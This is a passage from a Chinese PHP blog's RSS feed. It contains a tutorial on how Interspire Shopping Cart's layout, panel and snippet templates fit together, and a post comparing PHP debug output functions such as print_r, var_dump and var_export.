&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideLiveChatServices%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;Content&quot; id=&quot;LayoutColumn2&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Banner.TopBanner%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.HomeFeaturedProducts%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.HomeNewProducts%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.HomeRecentBlogs%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Banner.BottomBanner%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;div class=&quot;Right&quot; id=&quot;LayoutColumn3&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideCartContents%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideTopSellers%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SideNewProducts%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %%Panel.SidePopularProducts%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;/div&gt;
&nbsp;&nbsp;&nbsp; &lt;/div&gt;
&nbsp;&nbsp;&nbsp; %%Panel.Footer%%
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>&nbsp;&nbsp;&nbsp; 从上面很清楚可以看出,这是一个布局文件,加载头部以后,定义了三栏LayoutColumn1, LayoutColumn2 , LayoutColumn3.&nbsp; 每栏中间的%%xxx.xxxx%%是ISC自己的内容语法, 是一个一个可以独立的功能模块. 像%%Panel.SideCategoryList%% 就是显示商品分类的列表, %%Panel.HomeFeaturedProducts%%就是显示推荐商品.&nbsp; 可以发现ISC的模板变量都是用%%来区分, 变量点的前面&quot;Panel&quot;是指示变量的类型.&nbsp; 有&quot;Pnanel&quot;&nbsp; &quot;Banner&quot; &quot;SNIPPET&quot; 几中类型,&nbsp; 在布局文件中主要是就是Panel. 这种类型分别在模板文件夹中都有对应的子文件夹.&nbsp; 找到对应的文件名就可以看到模板的具体内容.<a class="wh" href="http://www.dengor.com">登高望远</a></p>
<p>&nbsp;</p>
<p><strong>2.&nbsp; 以%%Panel.SideCategoryList%%为例,找到 panel /&nbsp; SideCategoryList.html 文件</strong>, 我们找开看一下:</p>
<pre>&nbsp;&nbsp;&nbsp; &lt;div class=&quot;Block CategoryList Moveable&quot; id=&quot;SideCategoryList&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp; &lt;h2&gt;%%LNG_ProductsByCategory%%&lt;/h2&gt;
&nbsp;&nbsp;&nbsp; &nbsp; &lt;div class=&quot;BlockContent&quot;&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &lt;ul&gt;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; %%SNIPPET_SideCategoryList%%
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &lt;/ul&gt;
&nbsp;&nbsp;&nbsp; &nbsp; &lt;/div&gt;
&nbsp;&nbsp;&nbsp; &lt;/div&gt;</pre>
<p>&nbsp;&nbsp; 很简洁的模板代码, 就是一个列表块, 只有两个变量%%LNG_ProductsByCategory%%和 %%SNIPPET_SideCategoryList%% ,而这两个变量都在初始化Panel类的时候就会赋值.&nbsp;</p>
<p>&nbsp;</p>
<p><strong>3. 显示变量的类的文件可以在 / incudes&nbsp; /&nbsp; dispaly 里面找得到</strong> , 我们找到 SideCategoryList.php 文件打开, 可以发现定义了 ISC_SIDECATEGORYLIST_PANEL 类, 函数 SetPanelSettings()&nbsp; 就是类的初始化, 把一些变量$GLOBALS数组传递给模板文件.</p>
<pre>......
$output .= $GLOBALS[&#39;ISC_CLASS_TEMPLATE&#39;]-&gt;GetSnippet(&quot;SideCategoryList&quot;);
$GLOBALS[&#39;SNIPPETS&#39;][&#39;SideCategoryList&#39;] = $output;
......</pre>
<p>&nbsp; 从这里可以看出来,这是为模板变量%%SNIPPET_SideCategoryList%% 赋值$output . 而$output又是通过GetSnippet()从一个代码片断 &quot;SideCategoryList&quot;&nbsp; 里获取数据. <a class="wh" href="http://www.dengor.com">登高望远</a></p>
<p>&nbsp;</p>
<p><strong>4. 代码片断(Snippet)的模板文件可以在&nbsp; / Snippets / SideCategoryList.html 找到</strong>.</p>
<pre>&nbsp;&lt;li class=&quot;%%GLOBAL_LastChildClass%%&quot;&gt;
  &lt;a href=&quot;%%GLOBAL_CategoryLink%%&quot;&gt;%%GLOBAL_CategoryName%%&lt;/a&gt;
&nbsp;&nbsp;&nbsp; %%GLOBAL_SubCategoryList%%
 &lt;/li&gt;</pre>
<p>&nbsp; 就是定义了每个分类的显示样式和内容. %%GLOBAL_CategoryLink%%&nbsp; %%GLOBAL_CategoryName%%这些变量前面都有定义:</p>
<pre>$GLOBALS[&#39;CategoryName&#39;] = isc_html_escape($rootCat[&#39;catname&#39;]);
$GLOBALS[&#39;CategoryLink&#39;] =
      CatLink($rootCat[&#39;categoryid&#39;], $rootCat[&#39;catname&#39;], true);</pre>
<p>&nbsp;</p>
<p><strong>&nbsp; 这样整个流程就开始清晰了.&nbsp; ISC通过多级的模板来控制最后的输出.&nbsp; </strong></p>
<p><span style="color: rgb(51, 153, 102);"><strong>&nbsp; 布局文件(index.html)&nbsp; -&gt;&nbsp; 功能面板(Panel) -&gt; 代码片断 (Snippets)&nbsp; </strong></span></p>
<p><strong>&nbsp; 其中是 Panel类和初始化是一个重要的关键点, 变量的值都是在里面定义的. 还可以通过:</strong></p>
<pre><strong>&nbsp;&nbsp;&nbsp; $this-&gt;DontDisplay = true;</strong></pre>
<p><strong>来控制功能块的显示与否.&nbsp; 很多输出的参数也可以在里面设置 . 如 商品列表的数量,条件都可以在找到相应的代码.&nbsp; </strong></p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; 明白了以上流程, 要修改模板就很简单了. 如果你只要修改整体布局,那只要找到布局文件修改就行了. 如果你要功能块的外观, 只要到Panels夹子下找到相应的文件修改就行了.<a class="wh" href="http://www.dengor.com">登高望远</a></p>
<p>&nbsp;&nbsp;&nbsp; <strong>如果要增加一个功能页面也很容易</strong>,只要在要目录新建一个newpage.php&nbsp; :</p>
<pre>&lt;?php

&nbsp;&nbsp;&nbsp; require_once(dirname(__FILE__).&quot;/init.php&quot;);
&nbsp;&nbsp;&nbsp; $GLOBALS[&quot;ISC_CLASS_TEMPLATE&quot;]-&gt;SetTemplate(&quot;newpage&quot;);
&nbsp;&nbsp;&nbsp; $GLOBALS[&quot;ISC_CLASS_TEMPLATE&quot;]-&gt;ParseTemplate();

?&gt;</pre>
<p>&nbsp; 在模板文件中新建一个布局文件 newpage.html ,&nbsp; 如果要新增功能面板也是一样要在 / incudes&nbsp; /&nbsp; dispaly 增加一个面板类,&nbsp; 把要用的参数都准备好调用Panel和Snipper模板就好了.&nbsp; 如果不清楚可以参考已经有的功能面板是怎么调用的. 只要明白了调用流程,就很容易做到.</p>
<p>本页链接: <span id="sample-permalink">http://www.dengor.com/archives/184.html</span></p>
<p><span style="color: rgb(128, 0, 0);">转载注明出处, 谢谢!</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1215.html" title="Firefox的网页邮件提醒插件-WebMail Notifier ">Firefox的网页邮件提醒插件-WebMail Notifier </a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/897.html" title="理解免费网店系统prestashop中的hook概念">理解免费网店系统prestashop中的hook概念</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/184.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PHP几个常用的调试输出函数</title>
		<link>http://www.dengor.com/archives/105.html</link>
		<comments>http://www.dengor.com/archives/105.html#comments</comments>
		<pubDate>Mon, 03 Aug 2009 08:14:22 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[echo]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[print_r]]></category>
		<category><![CDATA[var_dump]]></category>
		<category><![CDATA[var_export]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[调试]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=105</guid>
		<description><![CDATA[PHP几个常用的调试输出函数: 1. echo 这个就不用多说了,但不能显示数组型的变量，如果这种类型的变量只显示Array; 2. print_r() 3. var_dump() 4. var_export() 以上3个函数都可以输出数组变量,可以通过以下的例子来看看区别: $a = array (1, 2, array (&#34;a&#34;, &#34;b&#34;, &#34;c&#34;)); echo &#34;print_r &#60;pre&#62;&#34;,print_r($a),&#34;&#60;/pre&#62;&#34;; echo &#34;var_dump &#60;pre&#62;&#34;,var_dump($a),&#34;&#60;/pre&#62;&#34;; echo &#34;var_export &#60;pre&#62;&#34;,var_export($a,$b),&#34;&#60;/pre&#62;&#34;; 以下为输出结果: print_r Array ( [0] =&#62; 1 [1] =&#62; 2 [2] =&#62; Array ( [0] =&#62; a [1] =&#62; b [2] =&#62; c ) ) 1 [...]]]></description>
			<content:encoded><![CDATA[<p>PHP几个常用的<strong>调试输出函数</strong>:</p>
<p>1. echo 这个就不用多说了,但不能显示数组型的变量，如果这种类型的变量只显示Array;</p>
<p>2. print_r()</p>
<p>3. var_dump()</p>
<p>4. var_export()</p>
<p>以上3个函数都可以输出数组变量,可以通过以下的例子来看看区别:<span id="more-105"></span></p>
<pre>$a = array (1, 2, array (&quot;a&quot;, &quot;b&quot;, &quot;c&quot;));
echo &quot;print_r &lt;pre&gt;&quot;,print_r($a),&quot;&lt;/pre&gt;&quot;;
echo &quot;var_dump &lt;pre&gt;&quot;,var_dump($a),&quot;&lt;/pre&gt;&quot;;
echo &quot;var_export &lt;pre&gt;&quot;,var_export($a,$b),&quot;&lt;/pre&gt;&quot;;
</pre>
<p>以下为输出结果:</p>
<pre>print_r
Array
(
    [0] =&gt; 1
    [1] =&gt; 2
    [2] =&gt; Array
        (
            [0] =&gt; a
            [1] =&gt; b
            [2] =&gt; c
        )

)
1
var_dump
array(3) {
  [0]=&gt;
  int(1)
  [1]=&gt;
  int(2)
  [2]=&gt;
  array(3) {
    [0]=&gt;
    string(1) &quot;a&quot;
    [1]=&gt;
    string(1) &quot;b&quot;
    [2]=&gt;
    string(1) &quot;c&quot;
  }
}
var_export
array (
  0 =&gt; 1,
  1 =&gt; 2,
  2 =&gt;
  array (
    0 =&gt; &#39;a&#39;,
    1 =&gt; &#39;b&#39;,
    2 =&gt; &#39;c&#39;,
  ),
)</pre>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1205.html" title="让lnmp能用mail()函数来发邮件">让lnmp能用mail()函数来发邮件</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/105.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

